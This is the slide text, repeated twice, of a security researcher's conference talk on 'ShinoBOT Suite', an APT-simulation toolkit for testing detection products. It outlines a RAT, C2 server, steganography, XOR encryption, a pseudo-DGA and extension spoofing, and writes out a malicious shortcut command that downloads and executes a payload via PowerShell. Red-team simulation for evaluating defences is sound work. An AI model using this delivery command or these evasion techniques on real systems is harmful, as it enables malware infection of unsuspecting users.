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ShinoBOT
SUITE
The APT Simulator Tool Kit
@Sh1n0g1 1
About ME
 Shota Shinogi @Sh1n0g1
 http://shinosec.com
 Security Researcher at Macnica Networks Corp.
Japanese Disty of security/network products
 Enthusiast of writing (ethical) malware
 Presented ShinoBOT (not Suite) last year at
Arsenal
2
ShinoBOT the RAT
ShinoBOT.exe
ShinoBOT is a RAT (simulator)
 Presented at Black Hat USA 2013 Arsenal
 It connects to ShinoC2, the C&C Server using
HTTP(S).
 What you can do with ShinoBOT via ShinoC2
Execute a command
Upload / Download a file
Take a screen shot
 It is a SIMULATOR
it has a GUI
you need the password which is showed on the GUI to
control it
3
What is ShinoBOT Suite
ShinoBOT Suite is a tool kit to create an APT attack
with just a few clicks, to simulate a highly-
sophisticated attack campaign.
 What is contained
Exploit (Shortcut contains a malicious script)
Malware Delivery Server (ShinoMAL.mooo.com)
Downloader/Dropper (ShinoDownloader.exe)
RAT (ShinoBOT.exe)
C&C Server (ShinoC2]
Steganography, crypto, DGA and some evasion
techniques
4
Why ShinoBOT Suite ?
 There is a bunch of new security tools to
detect/response the unknown threat
Sandbox based Malware Detection System
ETDR (Endpoint Threat Detect & Response)
SIEM (Security Information & Event Manager)
Security Analytics / Network Forensics
 It is hard to evaluate those new products
Known malware will be detected by signature
♦ ≠ Unknown Threat
To simulate a realistic APT
♦ requires a high skill
♦ takes too much time
♦ spends a lot of money using some commercial tools
5
ShinoBOT Suite Campaign
Malicious
Shortcut
Downloader
Dropper
RAT
Decoy File
C&C
Server
Malware
Deploy
Server
dldr_tmp
ShinoBOT.exe
5)Download
4)Open
8)C2 Communication
1)Download
2)Execute
img.jpg
3)Drop
6)Decrypt
7)Execute
6
ShinoBOT Suite Campaign
Malicious
Shortcut
Downloader
Dropper
RAT
Decoy File
C&C
Server
Malware
Deploy
Server
dldr_tmp
ShinoBOT.exe
5)Download
4)Open
8)C2 Communication
1)Download
2)Execute
img.jpg
3)Drop
6)Decrypt
7)Execute
7
ShinoMAL ShinoC2
ShinoBOT
Shino
Downloader
DEMONSTRATION STEP1
8
9
DEMONSTRATION STEP2
10
DEMONSTRATION STEP3
11
DEMONSTRATION STEP4
12
DEMONSTRATION STEP3
13
DEMONSTRATION RUN
Decoy File
ShinoBOT works in
background
14
DEMONSTRATION CONTROL1
To control ShinoBOT (RAT), you need to grab
the password, it is to prevent the abuse of
ShinoBOT.
ShinoBOT saved its password to the same
folder (C:Users%USERNAME%sb.pas)
You can access to the password word file
remotely.
%MACHINENAME%C$Users%USERNAME%sb.pas
15
DEMONSTRATION CONTROL2
To control ShinoBOT (RAT), you need to grab
the password, it is to prevent the abuse of
ShinoBOT.
ShinoBOT saved its password in this text file.
(C:Users%USERNAME%sb.pas)
You can access to the password word file
remotely.
%MACHINENAME%C$Users%USERNAME%sb.pas
 This password protection is to prevent the real guys to abuse
ShinoBOT.
16
DEMONSTATION CONTROL3
Access to ShinoBOT.com
Go to the host list
Your host will appear in the host list
Click the [View/Assign Jobs] link
17
DEMONSTATION CONTROL4
Put the password to see the Loot (result) of the
command
Put the password to assign a new job
Technical Detail 1
Malicious Shortcut
"target" of the shortcut (all in 1 line)
cmd.exe /c
powershell
(new objectSystem.Net.WebClient)
.DownloadFile('DOWNLOADERURL', '%TEMP%LicenseRnd.txt');
&
%TEMP%LicenseRnd.txt
&
::DECOYFILENAME
POWERSHELL downloads the downloader, and save it
CMD executes the downloader(Rnd means random string)
CMD ignores this line because :: means a comment
18
Technical Detail 2
Extension Spoofing
On the target of shortcut, there is the line
"%TEMP%LicenseRnd.txt" (previous slide)
Usually, when you double click the file with .txt,
the notepad will launch
CMD.exe can execute the executables(contains
the MZ header) with any extension
ShinoBOT Suite uses this techniques to spoof
the extension, and make the donwloader hard
to be found from the disk Actually, it is the
ShinoDownloader.exe
19
Technical Detail 3
Crypto Stuff
ShinoBOT Suite uses XOR and ROR (4 bit rotate)
Key is used just for the XOR, and ROR is always 4
bits
ShinoBOT Suite generates a random key (200 ~
255 byte) so it is little bit difficult to decrypt the
whole file without having the key
20
Technical Detail 4
Steganography
The encrypted RAT is hidden in the kitten image.
JPG data
Encrypted RAT
[Binary Visualizer]
21
22
Technical Detail 5
Domain Generation Algorithm
ShinoBOT (the RAT) uses pseudo-DGA.
It generates a random host name for the C2
Server.
rrrr.r.shinobot.com
" r " is replaced by a random character.
The DNS of shinobot.com responds any host
with the C2 server IP address.
All Components are customizable,
modulable
Exploit
ShellCode
Downloader
Dropper
RAT
Decoy File
C&C
Server
Malware
Deploy
Server
KB1234567.exe
Invitation.pdf
Invitation.pdf
(legitimate)
ShinoBOT.exe
5)Download
4)Open
8)C2 Communication
1)Download
2)Execute
img.jpg
3)Drop
KB1234567.exe
6)Decrypt
7)Execute
Phishing Email
23
Thank you
Visit my site and get the
recipe of ShinoBOT SUITE.
http://shinosec.com 24

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ShinoBOT Suite

  • 1. ShinoBOT SUITE The APT Simulator Tool Kit @Sh1n0g1 1
  • 2. About ME  Shota Shinogi @Sh1n0g1  http://shinosec.com  Security Researcher at Macnica Networks Corp. Japanese Disty of security/network products  Enthusiast of writing (ethical) malware  Presented ShinoBOT (not Suite) last year at Arsenal 2
  • 3. ShinoBOT the RAT ShinoBOT.exe ShinoBOT is a RAT (simulator)  Presented at Black Hat USA 2013 Arsenal  It connects to ShinoC2, the C&C Server using HTTP(S).  What you can do with ShinoBOT via ShinoC2 Execute a command Upload / Download a file Take a screen shot  It is a SIMULATOR it has a GUI you need the password which is showed on the GUI to control it 3
  • 4. What is ShinoBOT Suite ShinoBOT Suite is a tool kit to create an APT attack with just a few clicks, to simulate a highly- sophisticated attack campaign.  What is contained Exploit (Shortcut contains a malicious script) Malware Delivery Server (ShinoMAL.mooo.com) Downloader/Dropper (ShinoDownloader.exe) RAT (ShinoBOT.exe) C&C Server (ShinoC2] Steganography, crypto, DGA and some evasion techniques 4
  • 5. Why ShinoBOT Suite ?  There is a bunch of new security tools to detect/response the unknown threat Sandbox based Malware Detection System ETDR (Endpoint Threat Detect & Response) SIEM (Security Information & Event Manager) Security Analytics / Network Forensics  It is hard to evaluate those new products Known malware will be detected by signature ♦ ≠ Unknown Threat To simulate a realistic APT ♦ requires a high skill ♦ takes too much time ♦ spends a lot of money using some commercial tools 5
  • 6. ShinoBOT Suite Campaign Malicious Shortcut Downloader Dropper RAT Decoy File C&C Server Malware Deploy Server dldr_tmp ShinoBOT.exe 5)Download 4)Open 8)C2 Communication 1)Download 2)Execute img.jpg 3)Drop 6)Decrypt 7)Execute 6
  • 7. ShinoBOT Suite Campaign Malicious Shortcut Downloader Dropper RAT Decoy File C&C Server Malware Deploy Server dldr_tmp ShinoBOT.exe 5)Download 4)Open 8)C2 Communication 1)Download 2)Execute img.jpg 3)Drop 6)Decrypt 7)Execute 7 ShinoMAL ShinoC2 ShinoBOT Shino Downloader
  • 14. 14 DEMONSTRATION CONTROL1 To control ShinoBOT (RAT), you need to grab the password, it is to prevent the abuse of ShinoBOT. ShinoBOT saved its password to the same folder (C:Users%USERNAME%sb.pas) You can access to the password word file remotely. %MACHINENAME%C$Users%USERNAME%sb.pas
  • 15. 15 DEMONSTRATION CONTROL2 To control ShinoBOT (RAT), you need to grab the password, it is to prevent the abuse of ShinoBOT. ShinoBOT saved its password in this text file. (C:Users%USERNAME%sb.pas) You can access to the password word file remotely. %MACHINENAME%C$Users%USERNAME%sb.pas  This password protection is to prevent the real guys to abuse ShinoBOT.
  • 16. 16 DEMONSTATION CONTROL3 Access to ShinoBOT.com Go to the host list Your host will appear in the host list Click the [View/Assign Jobs] link
  • 17. 17 DEMONSTATION CONTROL4 Put the password to see the Loot (result) of the command Put the password to assign a new job
  • 18. Technical Detail 1 Malicious Shortcut "target" of the shortcut (all in 1 line) cmd.exe /c powershell (new objectSystem.Net.WebClient) .DownloadFile('DOWNLOADERURL', '%TEMP%LicenseRnd.txt'); & %TEMP%LicenseRnd.txt & ::DECOYFILENAME POWERSHELL downloads the downloader, and save it CMD executes the downloader(Rnd means random string) CMD ignores this line because :: means a comment 18
  • 19. Technical Detail 2 Extension Spoofing On the target of shortcut, there is the line "%TEMP%LicenseRnd.txt" (previous slide) Usually, when you double click the file with .txt, the notepad will launch CMD.exe can execute the executables(contains the MZ header) with any extension ShinoBOT Suite uses this techniques to spoof the extension, and make the donwloader hard to be found from the disk Actually, it is the ShinoDownloader.exe 19
  • 20. Technical Detail 3 Crypto Stuff ShinoBOT Suite uses XOR and ROR (4 bit rotate) Key is used just for the XOR, and ROR is always 4 bits ShinoBOT Suite generates a random key (200 ~ 255 byte) so it is little bit difficult to decrypt the whole file without having the key 20
  • 21. Technical Detail 4 Steganography The encrypted RAT is hidden in the kitten image. JPG data Encrypted RAT [Binary Visualizer] 21
  • 22. 22 Technical Detail 5 Domain Generation Algorithm ShinoBOT (the RAT) uses pseudo-DGA. It generates a random host name for the C2 Server. rrrr.r.shinobot.com " r " is replaced by a random character. The DNS of shinobot.com responds any host with the C2 server IP address.
  • 23. All Components are customizable, modulable Exploit ShellCode Downloader Dropper RAT Decoy File C&C Server Malware Deploy Server KB1234567.exe Invitation.pdf Invitation.pdf (legitimate) ShinoBOT.exe 5)Download 4)Open 8)C2 Communication 1)Download 2)Execute img.jpg 3)Drop KB1234567.exe 6)Decrypt 7)Execute Phishing Email 23
  • 24. Thank you Visit my site and get the recipe of ShinoBOT SUITE. http://shinosec.com 24